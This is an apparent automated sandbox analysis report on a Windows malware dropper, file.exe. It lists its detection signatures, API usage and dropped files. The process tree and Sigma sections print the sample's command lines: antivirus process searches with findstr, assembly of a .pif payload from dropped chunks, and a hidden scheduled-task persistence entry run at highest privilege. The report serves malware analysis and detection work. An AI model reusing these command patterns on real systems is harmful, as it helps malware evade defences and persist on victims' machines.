Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1458478
MD5:	814ff8b10d8641b03fcf1e9efc1005bf
SHA1:	25cb52ef822cf0077a11278d936569ed5f5d92d4
SHA256:	976137409e5d45839870a834b4b06bd46495a39d216bb0f31f1f0370fe1b5d94
Tags:	exe
Infos:

Detection

Score:	84
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Sigma detected: Search for Antivirus process

AI detected suspicious sample

Drops PE files with a suspicious file extension

Machine Learning detection for sample

Sigma detected: Suspicious Command Patterns In Scheduled Task Creation

Sigma detected: WScript or CScript Dropper

Uses schtasks.exe or at.exe to add and modify task schedules

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Writes many files with high entropy

Wscript called in batch mode (surpress errors)

Contains functionality for read data from the clipboard

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found WSH timer for Javascript or VBS script (likely evasive script)

Found evasive API chain (date check)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

May sleep (evasive loops) to hinder dynamic analysis

OS version to string mapping found (often used in BOTs)

Potential key logger detected (key state polling based)

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Execution of Suspicious File Type Extension

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Copy From or To System Directory

Sigma detected: Suspicious Schtasks From Env Var Folder

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Tries to resolve domain names, but no domain seems valid (expired dropper behavior)

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 7432 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 814FF8B10D8641B03FCF1E9EFC1005BF)

cmd.exe (PID: 7472 cmdline: "C:\Windows\System32\cmd.exe" /c copy Anyone Anyone.cmd & Anyone.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7480 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 7560 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 7568 cmdline: findstr /I "wrsa.exe opssvc.exe" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

tasklist.exe (PID: 7608 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 7616 cmdline: findstr /I "avastui.exe avgui.exe nswscsvc.exe sophoshealth.exe" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 7652 cmdline: cmd /c md 812297 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

findstr.exe (PID: 7668 cmdline: findstr /V "IndieBeachesHonIo" Janet MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 7684 cmdline: cmd /c copy /b Praise + Bee + Random + Acoustic + Predict + Shannon + Extreme + Gnome + Sandra + Wright + Ready + Bb + Dot + Almost + Do + Continental 812297\g MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Shopzilla.pif (PID: 7700 cmdline: 812297\Shopzilla.pif 812297\g MD5: B06E67F9767E5023892D9698703AD098)

schtasks.exe (PID: 7740 cmdline: schtasks.exe /create /tn "MindTechPro360" /tr "wscript //B 'C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.js'" /sc onlogon /F /RL HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 7748 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 7716 cmdline: timeout 15 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

wscript.exe (PID: 7792 cmdline: C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

MindTechPro360.pif (PID: 7836 cmdline: "C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif" "C:\Users\user\AppData\Local\TechMind360 Innovations Co\L" MD5: B06E67F9767E5023892D9698703AD098)

cleanup

Sigma Signatures

System Summary

Sigma detected: Suspicious Command Patterns In Scheduled Task Creation

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: schtasks.exe /create /tn "MindTechPro360" /tr "wscript //B 'C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.js'" /sc onlogon /F /RL HIGHEST, CommandLine: schtasks.exe /create /tn "MindTechPro360" /tr "wscript //B 'C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.js'" /sc onlogon /F /RL HIGHEST, CommandLine|base64offset|contains: j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: 812297\Shopzilla.pif 812297\g, ParentImage: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif, ParentProcessId: 7700, ParentProcessName: Shopzilla.pif, ProcessCommandLine: schtasks.exe /create /tn "MindTechPro360" /tr "wscript //B 'C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.js'" /sc onlogon /F /RL HIGHEST, ProcessId: 7740, ProcessName: schtasks.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.js", CommandLine: C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1044, ProcessCommandLine: C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.js", ProcessId: 7792, ProcessName: wscript.exe

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: 812297\Shopzilla.pif 812297\g, CommandLine: 812297\Shopzilla.pif 812297\g, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif, NewProcessName: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif, OriginalFileName: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c copy Anyone Anyone.cmd & Anyone.cmd, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7472, ParentProcessName: cmd.exe, ProcessCommandLine: 812297\Shopzilla.pif 812297\g, ProcessId: 7700, ProcessName: Shopzilla.pif

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Sigma detected: Suspicious Copy From or To System Directory

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, Tim Shelton (HAWK.IO), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c copy Anyone Anyone.cmd & Anyone.cmd, CommandLine: "C:\Windows\System32\cmd.exe" /c copy Anyone Anyone.cmd & Anyone.cmd, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 7432, ParentProcessName: file.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c copy Anyone Anyone.cmd & Anyone.cmd, ProcessId: 7472, ProcessName: cmd.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.js", CommandLine: C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1044, ProcessCommandLine: C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.js", ProcessId: 7792, ProcessName: wscript.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Search for Antivirus process

Source: Process started

Author: Joe Security: Data: Command: findstr /I "avastui.exe avgui.exe nswscsvc.exe sophoshealth.exe" , CommandLine: findstr /I "avastui.exe avgui.exe nswscsvc.exe sophoshealth.exe" , CommandLine|base64offset|contains: ~), Image: C:\Windows\SysWOW64\findstr.exe, NewProcessName: C:\Windows\SysWOW64\findstr.exe, OriginalFileName: C:\Windows\SysWOW64\findstr.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c copy Anyone Anyone.cmd & Anyone.cmd, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7472, ParentProcessName: cmd.exe, ProcessCommandLine: findstr /I "avastui.exe avgui.exe nswscsvc.exe sophoshealth.exe" , ProcessId: 7616, ProcessName: findstr.exe

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: file.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: file.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00405C4E CloseHandle,GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405C4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402902 FindFirstFileW,	0_2_00402902
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040689A FindFirstFileW,FindClose,	0_2_0040689A
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Code function: 10_2_00C047B7 GetFileAttributesW,FindFirstFileW,FindClose,	10_2_00C047B7
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Code function: 10_2_00C03B4F FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	10_2_00C03B4F
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Code function: 10_2_00C03E72 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	10_2_00C03E72
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Code function: 10_2_00C0C16C FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	10_2_00C0C16C
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Code function: 10_2_00C0CB81 FindFirstFileW,FindClose,	10_2_00C0CB81
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Code function: 10_2_00C0CC0C FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	10_2_00C0CC0C
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Code function: 10_2_00C0F445 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	10_2_00C0F445
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Code function: 10_2_00C0F5A2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	10_2_00C0F5A2
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Code function: 10_2_00C0F8A3 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	10_2_00C0F8A3
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Code function: 15_2_006F47B7 GetFileAttributesW,FindFirstFileW,FindClose,	15_2_006F47B7
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Code function: 15_2_006F3E72 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	15_2_006F3E72
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Code function: 15_2_006FC16C FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	15_2_006FC16C
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Code function: 15_2_006FCB81 FindFirstFileW,FindClose,	15_2_006FCB81
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Code function: 15_2_006FCC0C FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	15_2_006FCC0C
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Code function: 15_2_006FF445 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	15_2_006FF445
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Code function: 15_2_006FF5A2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	15_2_006FF5A2
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Code function: 15_2_006FF8A3 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	15_2_006FF8A3
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Code function: 15_2_006F3B4F FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	15_2_006F3B4F

Source: unknown

DNS traffic detected: query: JzyWtlVaDZyw.JzyWtlVaDZyw replaycode: Name error (3)

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif

Code function: 10_2_00C1279E InternetReadFile,InternetQueryDataAvailable,InternetReadFile,

10_2_00C1279E

Source: global traffic

DNS traffic detected: DNS query: JzyWtlVaDZyw.JzyWtlVaDZyw

Source: file.exe, 00000000.00000002.1901869005.000000000292E000.00000004.00000020.00020000.00000000.sdmp, Shopzilla.pif, 0000000A.00000003.1746303015.000000000420B000.00000004.00000800.00020000.00000000.sdmp, Shopzilla.pif, 0000000A.00000002.2943481145.0000000003B16000.00000004.00000020.00020000.00000000.sdmp, Essential.0.dr, nsb6504.tmp.0.dr, Shopzilla.pif.1.dr, MindTechPro360.pif.10.dr	String found in binary or memory: http://crl.globalsign.com/gs/gscodesigng2.crl0
Source: file.exe, 00000000.00000002.1901869005.000000000292E000.00000004.00000020.00020000.00000000.sdmp, Shopzilla.pif, 0000000A.00000003.1746303015.000000000420B000.00000004.00000800.00020000.00000000.sdmp, Shopzilla.pif, 0000000A.00000002.2943481145.0000000003B16000.00000004.00000020.00020000.00000000.sdmp, Essential.0.dr, nsb6504.tmp.0.dr, Shopzilla.pif.1.dr, MindTechPro360.pif.10.dr	String found in binary or memory: http://crl.globalsign.com/gs/gstimestampingg2.crl0T
Source: file.exe, 00000000.00000002.1901869005.000000000292E000.00000004.00000020.00020000.00000000.sdmp, Shopzilla.pif, 0000000A.00000003.1746303015.000000000420B000.00000004.00000800.00020000.00000000.sdmp, Shopzilla.pif, 0000000A.00000002.2943481145.0000000003B16000.00000004.00000020.00020000.00000000.sdmp, Essential.0.dr, nsb6504.tmp.0.dr, Shopzilla.pif.1.dr, MindTechPro360.pif.10.dr	String found in binary or memory: http://crl.globalsign.net/root.crl0
Source: file.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: file.exe, 00000000.00000002.1901869005.000000000292E000.00000004.00000020.00020000.00000000.sdmp, Shopzilla.pif, 0000000A.00000003.1746303015.000000000420B000.00000004.00000800.00020000.00000000.sdmp, Shopzilla.pif, 0000000A.00000002.2943481145.0000000003B16000.00000004.00000020.00020000.00000000.sdmp, Essential.0.dr, nsb6504.tmp.0.dr, Shopzilla.pif.1.dr, MindTechPro360.pif.10.dr	String found in binary or memory: http://ocsp2.globalsign.com/gscodesigng20
Source: file.exe, 00000000.00000002.1901869005.000000000292E000.00000004.00000020.00020000.00000000.sdmp, Shopzilla.pif, 0000000A.00000003.1746303015.000000000420B000.00000004.00000800.00020000.00000000.sdmp, Shopzilla.pif, 0000000A.00000002.2943481145.0000000003B16000.00000004.00000020.00020000.00000000.sdmp, Essential.0.dr, nsb6504.tmp.0.dr, Shopzilla.pif.1.dr, MindTechPro360.pif.10.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gscodesigng2.crt04
Source: file.exe, 00000000.00000002.1901869005.000000000292E000.00000004.00000020.00020000.00000000.sdmp, Shopzilla.pif, 0000000A.00000003.1746303015.000000000420B000.00000004.00000800.00020000.00000000.sdmp, Shopzilla.pif, 0000000A.00000002.2943481145.0000000003B16000.00000004.00000020.00020000.00000000.sdmp, Essential.0.dr, nsb6504.tmp.0.dr, Shopzilla.pif.1.dr, MindTechPro360.pif.10.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gstimestampingg2.crt0
Source: file.exe, 00000000.00000002.1901869005.000000000292E000.00000004.00000020.00020000.00000000.sdmp, Shopzilla.pif, 0000000A.00000003.1746303015.000000000420B000.00000004.00000800.00020000.00000000.sdmp, Shopzilla.pif, 0000000A.00000002.2943481145.0000000003B16000.00000004.00000020.00020000.00000000.sdmp, Essential.0.dr, nsb6504.tmp.0.dr, Shopzilla.pif.1.dr, MindTechPro360.pif.10.dr	String found in binary or memory: http://www.autoitscript.com/autoit3/0
Source: file.exe, 00000000.00000002.1901869005.000000000292E000.00000004.00000020.00020000.00000000.sdmp, Shopzilla.pif, 0000000A.00000003.1746303015.000000000420B000.00000004.00000800.00020000.00000000.sdmp, Shopzilla.pif, 0000000A.00000000.1737134126.0000000000C68000.00000002.00000001.01000000.00000005.sdmp, MindTechPro360.pif, 0000000F.00000002.2941852709.0000000000758000.00000002.00000001.01000000.00000008.sdmp, Halloween.0.dr, nsb6504.tmp.0.dr, Shopzilla.pif.1.dr, MindTechPro360.pif.10.dr	String found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: file.exe, 00000000.00000002.1901869005.000000000292E000.00000004.00000020.00020000.00000000.sdmp, Shopzilla.pif, 0000000A.00000003.1746303015.000000000420B000.00000004.00000800.00020000.00000000.sdmp, Shopzilla.pif, 0000000A.00000002.2943481145.0000000003B16000.00000004.00000020.00020000.00000000.sdmp, Essential.0.dr, nsb6504.tmp.0.dr, Shopzilla.pif.1.dr, MindTechPro360.pif.10.dr	String found in binary or memory: https://www.globalsign.com/repository/0
Source: file.exe, 00000000.00000002.1901869005.000000000292E000.00000004.00000020.00020000.00000000.sdmp, Shopzilla.pif, 0000000A.00000003.1746303015.000000000420B000.00000004.00000800.00020000.00000000.sdmp, Shopzilla.pif, 0000000A.00000002.2943481145.0000000003B16000.00000004.00000020.00020000.00000000.sdmp, Essential.0.dr, nsb6504.tmp.0.dr, Shopzilla.pif.1.dr, MindTechPro360.pif.10.dr	String found in binary or memory: https://www.globalsign.com/repository/03

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004056E3 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_004056E3

Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Code function: 10_2_00C14614 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,		10_2_00C14614
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Code function: 15_2_00704614 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,		15_2_00704614

Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif

Code function: 10_2_00C14416 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

10_2_00C14416

Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif

Code function: 10_2_00C00374 GetKeyboardState,GetAsyncKeyState,GetKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,

10_2_00C00374

Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Code function: 10_2_00C2CEDF DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,		10_2_00C2CEDF
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Code function: 15_2_0071CEDF DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,		15_2_0071CEDF

Spam, unwanted Advertisements and Ransom Demands

Writes many files with high entropy

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\Acoustic entropy: 7.99903860979	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\Do entropy: 7.99828405938	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\Gnome entropy: 7.99307602247	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\Ready entropy: 7.99833337336	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\Predict entropy: 7.99792045824	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\Bee entropy: 7.99614213934	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\Sandra entropy: 7.9989156064	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\Praise entropy: 7.99907507657	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\Almost entropy: 7.99894390583	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\Random entropy: 7.99621260001	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\Wright entropy: 7.99888955333	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\Shannon entropy: 7.99469915151	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\Bb entropy: 7.99924202624	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\Extreme entropy: 7.999072405	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\Dot entropy: 7.99842475993	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\812297\g entropy: 7.99990971854	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	File created: C:\Users\user\AppData\Local\TechMind360 Innovations Co\L entropy: 7.99990971854	Jump to dropped file

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript called in batch mode (surpress errors)

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.js"

Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif

Code function: 10_2_00C040C1: CreateFileW,DeviceIoControl,CloseHandle,

10_2_00C040C1

Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif

Code function: 10_2_00BF8D11 _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcscpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

10_2_00BF8D11

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004035D8 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,ExitProcess,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,	0_2_004035D8
